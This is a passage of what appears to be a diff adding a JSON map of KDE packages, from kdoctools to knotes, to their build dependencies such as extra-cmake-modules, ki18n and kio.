"kdoctools", + "ki18n", + "kiconthemes", + "knewstuff", + "ktexteditor", + "ktextwidgets", + "kuserfeedback" + ], + "katomic": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "knewstuff", + "kwidgetsaddons", + "kxmlgui", + "libkdegames" + ], + "kauth": [ + "extra-cmake-modules", + "kcoreaddons", + "kwindowsystem", + "polkit-qt-1" + ], + "kbackup": [ + "extra-cmake-modules", + "karchive", + "kconfig", + "kcoreaddons", + "kdoctools", + "kguiaddons", + "ki18n", + "kiconthemes", + "kio", + "knotifications", + "kstatusnotifieritem", + "kwidgetsaddons", + "kxmlgui" + ], + "kbibtex": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kcrash", + "ki18n", + "kiconthemes", + "kio", + "kparts", + "ktexteditor", + "kwallet", + "kwidgetsaddons", + "kxmlgui" + ], + "kblackbox": [ + "extra-cmake-modules", + "karchive", + "kconfig", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "ktextwidgets", + "kwidgetsaddons", + "kxmlgui", + "libkdegames" + ], + "kblocks": [ + "extra-cmake-modules", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "kwidgetsaddons", + "kxmlgui", + "libkdegames" + ], + "kbookmarks": [ + "extra-cmake-modules", + "kconfig", + "kconfigwidgets", + "kcoreaddons" + ], + "kbounce": [ + "extra-cmake-modules", + "kcolorscheme", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "kio", + "kwidgetsaddons", + "kxmlgui", + "libkdegames" + ], + "kbreakout": [ + "extra-cmake-modules", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "kwidgetsaddons", + "kxmlgui", + "libkdegames" + ], + "kbruch": [ + "extra-cmake-modules", + "kconfig", + "kcrash", + "kdoctools", + "ki18n", + "kwidgetsaddons", + "kxmlgui" + ], + "kcachegrind": [ + "extra-cmake-modules", + "karchive", + "kconfig", + "kcoreaddons", + "kdbusaddons", + "kdoctools", + "ki18n", + "kio", + "kwidgetsaddons", + "kxmlgui" + ], + "kcalc": [ + "extra-cmake-modules", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kguiaddons", + "ki18n", + "knotifications", + "kxmlgui" + ], + "kcalendarcore": [ + "extra-cmake-modules" + ], + "kcalutils": [ + "breeze-icons", + "extra-cmake-modules", + "kcalendarcore", + "kidentitymanagement", + "ktexttemplate" + ], + "kcgroups": [ + "extra-cmake-modules" + ], + "kcharselect": [ + "extra-cmake-modules", + "kbookmarks", + "kcoreaddons", + "kcrash", + "kdoctools", + "ki18n", + "kwidgetsaddons", + "kxmlgui" + ], + "kclock": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kdbusaddons", + "ki18n", + "kirigami", + "kirigami-addons", + "knotifications", + "kstatusnotifieritem", + "libplasma" + ], + "kcm-grub2": [ + "extra-cmake-modules", + "kauth", + "kcmutils", + "ki18n", + "kio", + "packagekit-qt", + "solid" + ], + "kcmutils": [ + "extra-cmake-modules", + "kcoreaddons", + "ki18n", + "kio", + "kirigami", + "kitemviews", + "kxmlgui" + ], + "kcodecs": [ + "extra-cmake-modules" + ], + "kcolorchooser": [ + "extra-cmake-modules", + "ki18n", + "kxmlgui" + ], + "kcolorscheme": [ + "extra-cmake-modules", + "kconfig", + "kguiaddons", + "ki18n" + ], + "kcompletion": [ + "extra-cmake-modules", + "kcodecs", + "kconfig", + "kwidgetsaddons" + ], + "kconfig": [ + "extra-cmake-modules" + ], + "kconfigwidgets": [ + "extra-cmake-modules", + "kcodecs", + "kcolorscheme", + "kconfig", + "kcoreaddons", + "kguiaddons", + "ki18n", + "kwidgetsaddons" + ], + "kcontacts": [ + "extra-cmake-modules", + "kcodecs", + "kconfig", + "kcoreaddons", + "ki18n" + ], + "kcoreaddons": [ + "extra-cmake-modules" + ], + "kcrash": [ + "extra-cmake-modules", + "kcoreaddons" + ], + "kcron": [ + "extra-cmake-modules", + "kcmutils", + "kconfigwidgets", + "kdoctools", + "ki18n", + "kio" + ], + "kdav": [ + "extra-cmake-modules", + "kio" + ], + "kdav2": [ + "extra-cmake-modules", + "kcoreaddons" + ], + "kdb": [ + "extra-cmake-modules", + "kcoreaddons" + ], + "kdbusaddons": [ + "extra-cmake-modules" + ], + "kde-cli-tools": [ + "extra-cmake-modules", + "kauth", + "kcmutils", + "kcodecs", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kdesu", + "ki18n", + "kiconthemes", + "kio", + "kjobwidgets", + "kparts", + "kpty", + "kservice", + "kwidgetsaddons", + "kwindowsystem", + "solid" + ], + "kde-dev-scripts": [ + "extra-cmake-modules", + "kdoctools" + ], + "kde-dev-utils": [ + "extra-cmake-modules", + "kcoreaddons", + "ki18n", + "kio", + "kparts", + "kwidgetsaddons" + ], + "kde-gtk-config": [ + "extra-cmake-modules", + "kauth", + "kcodecs", + "kcolorscheme", + "kconfig", + "kcoreaddons", + "kdbusaddons", + "kdecoration", + "kguiaddons", + "kwidgetsaddons", + "kwindowsystem" + ], + "kde-inotify-survey": [ + "extra-cmake-modules", + "kauth", + "kcodecs", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdeclarative", + "ki18n", + "kidletime", + "kio", + "kjobwidgets", + "knotifications", + "kservice", + "kwallet", + "kwidgetsaddons", + "kwindowsystem", + "solid", + "syntax-highlighting" + ], + "kdebugsettings": [ + "extra-cmake-modules", + "kcompletion", + "kconfig", + "kcoreaddons", + "kdbusaddons", + "ki18n", + "kitemviews", + "kwidgetsaddons", + "kxmlgui", + "selenium-webdriver-at-spi" + ], + "kdeclarative": [ + "extra-cmake-modules", + "kconfig", + "kglobalaccel", + "kguiaddons", + "ki18n", + "kwidgetsaddons" + ], + "kdeconnect-kde": [ + "extra-cmake-modules", + "kcmutils", + "kconfig", + "kcontacts", + "kcoreaddons", + "kdbusaddons", + "ki18n", + "kiconthemes", + "kio", + "kirigami", + "kirigami-addons", + "kitemmodels", + "knotifications", + "kpackage", + "kpeople", + "kservice", + "kstatusnotifieritem", + "kwindowsystem", + "modemmanager-qt", + "plasma-wayland-protocols", + "pulseaudio-qt", + "qqc2-desktop-style", + "solid" + ], + "kdecoration": [ + "extra-cmake-modules", + "ki18n" + ], + "kded": [ + "extra-cmake-modules", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "kservice" + ], + "kdeedu-data": [ + "extra-cmake-modules" + ], + "kdegraphics-mobipocket": [ + "extra-cmake-modules" + ], + "kdegraphics-thumbnailers": [ + "extra-cmake-modules", + "karchive", + "kdegraphics-mobipocket", + "kio", + "libkdcraw", + "libkexiv2" + ], + "kdenetwork-filesharing": [ + "extra-cmake-modules", + "kcompletion", + "kcoreaddons", + "ki18n", + "kio", + "kwidgetsaddons", + "packagekit-qt", + "qcoro" + ], + "kdenlive": [ + "breeze-icons", + "extra-cmake-modules", + "karchive", + "kbookmarks", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kfilemetadata", + "kguiaddons", + "ki18n", + "kiconthemes", + "kio", + "kitemviews", + "kjobwidgets", + "knewstuff", + "knotifications", + "knotifyconfig", + "kplotting", + "kservice", + "ktextwidgets", + "kwidgetsaddons", + "kxmlgui", + "purpose" + ], + "kdepim-addons": [ + "akonadi", + "akonadi-calendar", + "akonadi-contacts", + "akonadi-import-wizard", + "akonadi-notes", + "calendarsupport", + "eventviews", + "extra-cmake-modules", + "grantleetheme", + "incidenceeditor", + "kaddressbook", + "kcalendarcore", + "kcalutils", + "kconfig", + "kcontacts", + "kdbusaddons", + "kdeclarative", + "kguiaddons", + "kholidays", + "kiconthemes", + "kidentitymanagement", + "kimap", + "kio", + "kitinerary", + "kmailtransport", + "kparts", + "kpimtextedit", + "kpkpass", + "ktextaddons", + "ktexttemplate", + "ktnef", + "kxmlgui", + "libgravatar", + "libkdepim", + "libkleo", + "libksieve", + "mailcommon", + "mailimporter", + "messagelib", + "pimcommon", + "prison" + ], + "kdepim-runtime": [ + "akonadi", + "akonadi-calendar", + "akonadi-contacts", + "akonadi-mime", + "akonadi-notes", + "extra-cmake-modules", + "kcalendarcore", + "kcalutils", + "kcmutils", + "kcodecs", + "kconfig", + "kconfigwidgets", + "kcontacts", + "kdav", + "kidentitymanagement", + "kimap", + "kio", + "kitemmodels", + "kldap", + "kmailtransport", + "kmbox", + "kmime", + "knotifications", + "knotifyconfig", + "ktextaddons", + "ktextwidgets", + "kwindowsystem", + "libkgapi", + "qtkeychain" + ], + "kdeplasma-addons": [ + "attica", + "extra-cmake-modules", + "kauth", + "kcmutils", + "kcodecs", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kglobalaccel", + "kholidays", + "ki18n", + "kio", + "kirigami-addons", + "kjobwidgets", + "knewstuff", + "knotifications", + "kpackage", + "krunner", + "kservice", + "kunitconversion", + "kwidgetsaddons", + "kxmlgui", + "libplasma", + "plasma-nano", + "plasma-workspace", + "plasma5support", + "selenium-webdriver-at-spi", + "solid", + "sonnet" + ], + "kdesdk-kio": [ + "extra-cmake-modules", + "ki18n", + "kio" + ], + "kdesdk-thumbnailers": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "ki18n", + "kio" + ], + "kdesu": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kpty" + ], + "kdesvn": [ + "extra-cmake-modules", + "kbookmarks", + "kcodecs", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kdbusaddons", + "kdoctools", + "ki18n", + "kiconthemes", + "kio", + "kitemviews", + "kjobwidgets", + "knotifications", + "kparts", + "kservice", + "ktextwidgets", + "kwallet", + "kwidgetsaddons", + "kxmlgui" + ], + "kdev-css": [ + "extra-cmake-modules", + "kdevelop", + "kdevelop-pg-qt", + "ki18n", + "ktexteditor" + ], + "kdev-embedded": [ + "extra-cmake-modules", + "kdevelop", + "ki18n", + "kitemmodels", + "knewstuff", + "ktexteditor", + "threadweaver" + ], + "kdev-executebrowser": [ + "extra-cmake-modules", + "kdevelop", + "ki18n", + "kitemmodels", + "ktexteditor" + ], + "kdev-krazy2": [ + "extra-cmake-modules", + "kdevelop", + "ki18n", + "kitemmodels", + "ktexteditor", + "threadweaver" + ], + "kdev-mercurial": [ + "extra-cmake-modules", + "kdevelop", + "ki18n" + ], + "kdev-php": [ + "extra-cmake-modules", + "kcmutils", + "kdevelop", + "kdevelop-pg-qt", + "ki18n", + "ktexteditor", + "threadweaver" + ], + "kdev-python": [ + "extra-cmake-modules", + "kdevelop", + "ki18n", + "ktexteditor", + "threadweaver" + ], + "kdev-ruby": [ + "extra-cmake-modules", + "kdevelop", + "ki18n", + "ktexteditor" + ], + "kdev-upload": [ + "extra-cmake-modules", + "kcmutils", + "kdevelop", + "ki18n", + "kio", + "kitemmodels", + "ktexteditor" + ], + "kdev-valgrind": [ + "extra-cmake-modules", + "kdevelop", + "ki18n", + "kitemmodels", + "ktexteditor" + ], + "kdev-verapp": [ + "extra-cmake-modules", + "kdevelop", + "ki18n", + "ktexteditor" + ], + "kdev-xdebug": [ + "extra-cmake-modules", + "kdev-executebrowser", + "kdevelop", + "ki18n", + "kitemmodels", + "ktexteditor" + ], + "kdevelop": [ + "kdevelop-pg-qt", + "kitemmodels", + "knotifyconfig", + "ktexteditor", + "libkomparediff2", + "libksysguard", + "okteta", + "threadweaver" + ], + "kdevelop-pg-qt": [ + "extra-cmake-modules" + ], + "kdf": [ + "extra-cmake-modules", + "kcmutils", + "kconfig", + "kcoreaddons", + "kdoctools", + "kio", + "kjobwidgets", + "knotifications", + "kstatusnotifieritem", + "kwidgetsaddons", + "kxmlgui" + ], + "kdiagram": [ + "extra-cmake-modules" + ], + "kdialog": [ + "extra-cmake-modules", + "kdbusaddons", + "kguiaddons", + "kiconthemes", + "kio", + "knotifications", + "ktextwidgets", + "kwindowsystem" + ], + "kdiamond": [ + "extra-cmake-modules", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "knotifications", + "knotifyconfig", + "kwidgetsaddons", + "kxmlgui", + "libkdegames" + ], + "kdiff3": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kcrash", + "kdoctools", + "ki18n", + "kio", + "kparts", + "kwidgetsaddons", + "kxmlgui" + ], + "kdnssd": [ + "extra-cmake-modules" + ], + "kdoctools": [ + "extra-cmake-modules", + "karchive", + "ki18n" + ], + "kdsoap-ws-discovery-client": [ + "extra-cmake-modules", + "kdsoap" + ], + "keditbookmarks": [ + "extra-cmake-modules", + "kbookmarks", + "kcodecs", + "kconfigwidgets", + "kcoreaddons", + "kdoctools", + "ki18n", + "kiconthemes", + "kio", + "kparts", + "kwidgetsaddons", + "kwindowsystem" + ], + "keurocalc": [ + "extra-cmake-modules", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kdoctools", + "ki18n", + "kio", + "kwidgetsaddons", + "kxmlgui" + ], + "kexi": [ + "breeze", + "breeze-icons", + "extra-cmake-modules", + "karchive", + "kcodecs", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdb", + "kdoctools", + "kguiaddons", + "ki18n", + "kiconthemes", + "kio", + "kitemviews", + "kproperty", + "kreport", + "ktexteditor", + "ktextwidgets", + "kwidgetsaddons", + "kxmlgui", + "marble" + ], + "keysmith": [ + "extra-cmake-modules", + "kconfig", + "kdbusaddons", + "kguiaddons", + "ki18n", + "kirigami", + "kwidgetsaddons", + "kwindowsystem" + ], + "kfilemetadata": [ + "extra-cmake-modules", + "karchive", + "kcoreaddons", + "ki18n", + "poppler", + "taglib" + ], + "kfind": [ + "extra-cmake-modules", + "karchive", + "kcoreaddons", + "kdoctools", + "kfilemetadata", + "ki18n", + "kio", + "kwidgetsaddons", + "kxmlgui" + ], + "kfloppy": [ + "extra-cmake-modules", + "kcompletion", + "kcoreaddons", + "kcrash", + "kdoctools", + "ki18n", + "kwidgetsaddons", + "kxmlgui" + ], + "kfourinline": [ + "extra-cmake-modules", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdnssd", + "kdoctools", + "ki18n", + "kwidgetsaddons", + "kxmlgui", + "libkdegames" + ], + "kgamma": [ + "extra-cmake-modules", + "kcmutils", + "kconfig", + "kconfigwidgets", + "kdoctools", + "ki18n" + ], + "kgeography": [ + "extra-cmake-modules", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdoctools", + "ki18n", + "kiconthemes", + "kitemviews", + "kwidgetsaddons", + "kxmlgui" + ], + "kgeotag": [ + "extra-cmake-modules", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdoctools", + "ki18n", + "kxmlgui", + "libkexiv2", + "marble" + ], + "kget": [ + "extra-cmake-modules", + "kcmutils", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "kiconthemes", + "kio", + "kitemviews", + "knotifications", + "knotifyconfig", + "kservice", + "kstatusnotifieritem", + "kwallet", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui", + "libktorrent" + ], + "kglobalaccel": [ + "extra-cmake-modules" + ], + "kglobalacceld": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kglobalaccel", + "kio", + "kjobwidgets", + "kservice", + "kwindowsystem" + ], + "kgoldrunner": [ + "extra-cmake-modules", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "kio", + "kwidgetsaddons", + "kxmlgui", + "libkdegames" + ], + "kgpg": [ + "akonadi-contacts", + "extra-cmake-modules", + "karchive", + "kcodecs", + "kconfigwidgets", + "kcontacts", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "kguiaddons", + "ki18n", + "kio", + "kjobwidgets", + "knotifications", + "kservice", + "kstatusnotifieritem", + "ktextwidgets", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui" + ], + "kgraphviewer": [ + "extra-cmake-modules", + "kcoreaddons", + "kdoctools", + "ki18n", + "kparts", + "kwidgetsaddons" + ], + "kguiaddons": [ + "extra-cmake-modules", + "plasma-wayland-protocols", + "wayland" + ], + "khangman": [ + "extra-cmake-modules", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdoctools", + "ki18n", + "kio", + "knewstuff", + "knotifications", + "libkeduvocdocument" + ], + "khealthcertificate": [ + "extra-cmake-modules", + "karchive", + "kcodecs", + "ki18n" + ], + "khelpcenter": [ + "extra-cmake-modules", + "karchive", + "kbookmarks", + "kconfig", + "kcoreaddons", + "kdoctools", + "ki18n", + "kio", + "kservice", + "ktexttemplate", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui" + ], + "khipu": [ + "analitza", + "extra-cmake-modules", + "kcoreaddons", + "kdoctools", + "kguiaddons", + "ki18n", + "kitemmodels", + "kitemviews", + "knewstuff", + "kwidgetsaddons", + "kxmlgui" + ], + "kholidays": [ + "extra-cmake-modules" + ], + "ki18n": [ + "extra-cmake-modules" + ], + "kiconthemes": [ + "extra-cmake-modules", + "karchive", + "kcolorscheme", + "kconfigwidgets", + "ki18n", + "kwidgetsaddons" + ], + "kid3": [ + "extra-cmake-modules", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kio", + "kwidgetsaddons", + "kxmlgui" + ], + "kidentitymanagement": [ + "extra-cmake-modules", + "kirigami-addons", + "kpimtextedit", + "ktextaddons" + ], + "kidletime": [ + "extra-cmake-modules", + "plasma-wayland-protocols", + "wayland", + "wayland-protocols" + ], + "kig": [ + "extra-cmake-modules", + "karchive", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdoctools", + "ki18n", + "kiconthemes", + "kparts", + "ktexteditor", + "kxmlgui" + ], + "kigo": [ + "extra-cmake-modules", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "kio", + "knewstuff", + "ktextwidgets", + "kwidgetsaddons", + "kxmlgui", + "libkdegames" + ], + "kile": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "kguiaddons", + "ki18n", + "kiconthemes", + "kio", + "kparts", + "ktexteditor", + "kwindowsystem", + "kxmlgui", + "okular" + ], + "killbots": [ + "extra-cmake-modules", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "kwidgetsaddons", + "kxmlgui", + "libkdegames" + ], + "kimageformats": [ + "extra-cmake-modules", + "karchive" + ], + "kimagemapeditor": [ + "extra-cmake-modules", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "kguiaddons", + "ki18n", + "kparts", + "kwidgetsaddons", + "kxmlgui" + ], + "kimap": [ + "extra-cmake-modules", + "kcoreaddons", + "ki18n", + "kio", + "kmime" + ], + "kinfocenter": [ + "extra-cmake-modules", + "kauth", + "kcmutils", + "kcodecs", + "kcompletion", + "kconfig", + "kcoreaddons", + "ki18n", + "kio", + "kjobwidgets", + "kservice", + "kwidgetsaddons", + "kwindowsystem", + "plasma-systemmonitor", + "selenium-webdriver-at-spi", + "solid", + "systemsettings", + "xdg-desktop-portal-kde" + ], + "kio": [ + "extra-cmake-modules", + "karchive", + "kauth", + "kbookmarks", + "kcolorscheme", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "kguiaddons", + "ki18n", + "kiconthemes", + "kitemviews", + "kjobwidgets", + "knotifications", + "kservice", + "kwallet", + "kwidgetsaddons", + "kwindowsystem", + "solid" + ], + "kio-admin": [ + "extra-cmake-modules", + "kio", + "polkit-qt-1" + ], + "kio-extras": [ + "extra-cmake-modules", + "karchive", + "kcmutils", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kdbusaddons", + "kdnssd", + "kdoctools", + "kdsoap", + "kdsoap-ws-discovery-client", + "kguiaddons", + "ki18n", + "kio", + "libkexiv2", + "phonon", + "plasma-activities", + "plasma-activities-stats", + "qcoro", + "solid", + "syntax-highlighting" + ], + "kio-fuse": [ + "extra-cmake-modules", + "kcoreaddons", + "kio" + ], + "kio-gdrive": [ + "extra-cmake-modules", + "kdoctools", + "ki18n", + "kio", + "libkgapi", + "purpose", + "qtkeychain" + ], + "kio-gopher": [ + "extra-cmake-modules", + "kdoctools", + "ki18n", + "kiconthemes", + "kio" + ], + "kio-s3": [ + "extra-cmake-modules", + "kdoctools", + "ki18n", + "kio" + ], + "kio-stash": [ + "extra-cmake-modules", + "kconfig", + "kdbusaddons", + "ki18n", + "kio" + ], + "kio-zeroconf": [ + "extra-cmake-modules", + "kdbusaddons", + "kdnssd", + "ki18n", + "kio" + ], + "kipi-plugins": [ + "extra-cmake-modules", + "kconfig", + "ki18n", + "kio", + "kwindowsystem", + "kxmlgui", + "libkipi", + "libmediawiki" + ], + "kirigami": [ + "extra-cmake-modules" + ], + "kirigami-addons": [ + "extra-cmake-modules", + "ki18n", + "kirigami" + ], + "kirigami-gallery": [ + "extra-cmake-modules", + "kconfig", + "kirigami", + "kitemmodels" + ], + "kiriki": [ + "extra-cmake-modules", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "kiconthemes", + "kwidgetsaddons", + "kxmlgui", + "libkdegames" + ], + "kirogi": [ + "extra-cmake-modules", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdnssd", + "ki18n", + "kirigami", + "kirigami-addons" + ], + "kitemmodels": [ + "extra-cmake-modules" + ], + "kitemviews": [ + "extra-cmake-modules" + ], + "kiten": [ + "extra-cmake-modules", + "karchive", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdoctools", + "ki18n", + "kio", + "kxmlgui" + ], + "kitinerary": [ + "extra-cmake-modules", + "kcalendarcore", + "kcodecs", + "kcontacts", + "ki18n", + "kmime", + "kpkpass", + "zxing-cpp" + ], + "kitinerary-workbench": [ + "extra-cmake-modules", + "kio", + "kitinerary", + "ktexteditor" + ], + "kjobwidgets": [ + "extra-cmake-modules", + "kcoreaddons", + "knotifications", + "kwidgetsaddons" + ], + "kjots": [ + "akonadi", + "akonadi-notes", + "extra-cmake-modules", + "kbookmarks", + "kcmutils", + "kconfig", + "kconfigwidgets", + "kio", + "kmime", + "kontactinterface", + "kparts", + "kpimtextedit", + "ktextaddons", + "ktexttemplate", + "kxmlgui" + ], + "kjournald": [ + "extra-cmake-modules", + "kcoreaddons", + "ki18n" + ], + "kjumpingcube": [ + "extra-cmake-modules", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "kio", + "kjobwidgets", + "kwidgetsaddons", + "kxmlgui", + "libkdegames" + ], + "kldap": [ + "extra-cmake-modules", + "kdoctools", + "ki18n", + "kio", + "qtkeychain" + ], + "kleopatra": [ + "extra-cmake-modules", + "kcmutils", + "kcodecs", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "ki18n", + "kiconthemes", + "kidentitymanagement", + "kio", + "kitemmodels", + "kmailtransport", + "kmime", + "kstatusnotifieritem", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui", + "libkleo", + "mimetreeparser" + ], + "klettres": [ + "extra-cmake-modules", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdoctools", + "ki18n", + "knewstuff", + "kwidgetsaddons", + "kxmlgui", + "phonon" + ], + "klevernotes": [ + "extra-cmake-modules", + "kcolorscheme", + "kconfig", + "kcoreaddons", + "ki18n", + "kio", + "kirigami", + "kirigami-addons", + "qqc2-desktop-style" + ], + "klickety": [ + "extra-cmake-modules", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "kio", + "kwidgetsaddons", + "kxmlgui", + "libkdegames" + ], + "klimbgrades": [ + "extra-cmake-modules", + "kconfig", + "ki18n", + "kirigami", + "kirigami-addons" + ], + "klines": [ + "extra-cmake-modules", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "kwidgetsaddons", + "kxmlgui", + "libkdegames" + ], + "kmag": [ + "extra-cmake-modules", + "kdoctools", + "ki18n", + "kio", + "kxmlgui", + "libqaccessibilityclient" + ], + "kmahjongg": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "knewstuff", + "kxmlgui", + "libkdegames", + "libkmahjongg" + ], + "kmail": [ + "akonadi", + "akonadi-contacts", + "akonadi-mime", + "akonadi-search", + "extra-cmake-modules", + "kbookmarks", + "kcalendarcore", + "kcalutils", + "kcmutils", + "kconfig", + "kconfigwidgets", + "kcontacts", + "kcrash", + "kdbusaddons", + "kdoctools", + "kguiaddons", + "ki18n", + "kiconthemes", + "kidentitymanagement", + "kio", + "kitemviews", + "kjobwidgets", + "kldap", + "kmailtransport", + "kmime", + "knotifications", + "knotifyconfig", + "kontactinterface", + "kparts", + "kpimtextedit", + "kservice", + "kstatusnotifieritem", + "ktextaddons", + "ktextwidgets", + "ktnef", + "kuserfeedback", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui", + "libgravatar", + "libkdepim", + "libkleo", + "libksieve", + "mailcommon", + "messagelib", + "pimcommon", + "qtkeychain", + "sonnet" + ], + "kmail-account-wizard": [ + "akonadi", + "extra-cmake-modules", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "kidentitymanagement", + "kmailtransport", + "kmime" + ], + "kmailtransport": [ + "extra-cmake-modules", + "ksmtp", + "libkgapi", + "qtkeychain" + ], + "kmbox": [ + "extra-cmake-modules", + "kmime" + ], + "kmenuedit": [ + "extra-cmake-modules", + "kdbusaddons", + "kdoctools", + "kglobalaccel", + "ki18n", + "kiconthemes", + "kio", + "kitemviews", + "kwindowsystem", + "kxmlgui", + "sonnet" + ], + "kmime": [ + "extra-cmake-modules", + "kcodecs", + "ki18n" + ], + "kmines": [ + "extra-cmake-modules", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "ktextwidgets", + "kwidgetsaddons", + "kxmlgui", + "libkdegames" + ], + "kmix": [ + "extra-cmake-modules", + "kconfig", + "kconfigwidgets", + "kcrash", + "kdbusaddons", + "kdoctools", + "kglobalaccel", + "ki18n", + "knotifications", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui", + "solid" + ], + "kmoretools": [ + "extra-cmake-modules", + "ki18n", + "kio", + "kjobwidgets", + "kwidgetsaddons" + ], + "kmousetool": [ + "extra-cmake-modules", + "kconfig", + "kdbusaddons", + "kdoctools", + "ki18n", + "kiconthemes", + "kstatusnotifieritem", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui", + "phonon" + ], + "kmouth": [ + "extra-cmake-modules", + "kcompletion", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdoctools", + "ki18n", + "kio", + "kwidgetsaddons", + "kxmlgui" + ], + "kmplot": [ + "extra-cmake-modules", + "kcrash", + "kdbusaddons", + "kdoctools", + "kguiaddons", + "ki18n", + "kparts", + "ktextwidgets", + "kwidgetsaddons" + ], + "kmymoney": [ + "akonadi", + "alkimia", + "extra-cmake-modules", + "kcmutils", + "kcompletion", + "kconfig", + "kcontacts", + "kcoreaddons", + "kdiagram", + "kguiaddons", + "kholidays", + "ki18n", + "kiconthemes", + "kidentitymanagement", + "kio", + "kitemmodels", + "kitemviews", + "ktextwidgets", + "kwidgetsaddons", + "kwindowsystem", + "kxmlgui" + ], + "knavalbattle": [ + "extra-cmake-modules", + "kconfig", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdnssd", + "kdoctools", + "ki18n", + "ktextwidgets", + "kwidgetsaddons", + "kxmlgui", + "libkdegames" + ], + "knetwalk": [ + "extra-cmake-modules", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "ktextwidgets", + "kwidgetsaddons", + "kxmlgui", + "libkdegames" + ], + "knewstuff": [ + "attica", + "extra-cmake-modules", + "karchive", + "kconfig", + "kcoreaddons", + "ki18n", + "kirigami", + "kpackage", + "kwidgetsaddons", + "syndication" + ], + "knights": [ + "extra-cmake-modules", + "kconfig", + "kconfigwidgets", + "kcoreaddons", + "kcrash", + "kdbusaddons", + "kdoctools", + "ki18n", + "kio", + "kplotting", + "ksvg", + "ktextwidgets", + "kwallet", + "kwidgetsaddons", + "kxmlgui", + "libkdegames", + "libplasma" + ], + "knotes": [ + "akonadi", + "akonadi-notes", + "akonadi-search", + "extra-cmake-modules", + "grantleetheme", + "kcalutils", + "kcmutils", + "kcompletion", + "kconfig", + "kcoreaddons", + "kcrash", + "kdnssd", + "kdoctools", + "kglobalaccel", + "kiconthemes", + "kitemmodels", + "kitemviews", + "kmime", + "knewstuff", + "knotifications", + "knotifyconfig", + "kontactinterface", + "kparts", + "kstatusnotifieritem", + "ktextaddons", + "ktexttemplate", + "ktextwidgets", + 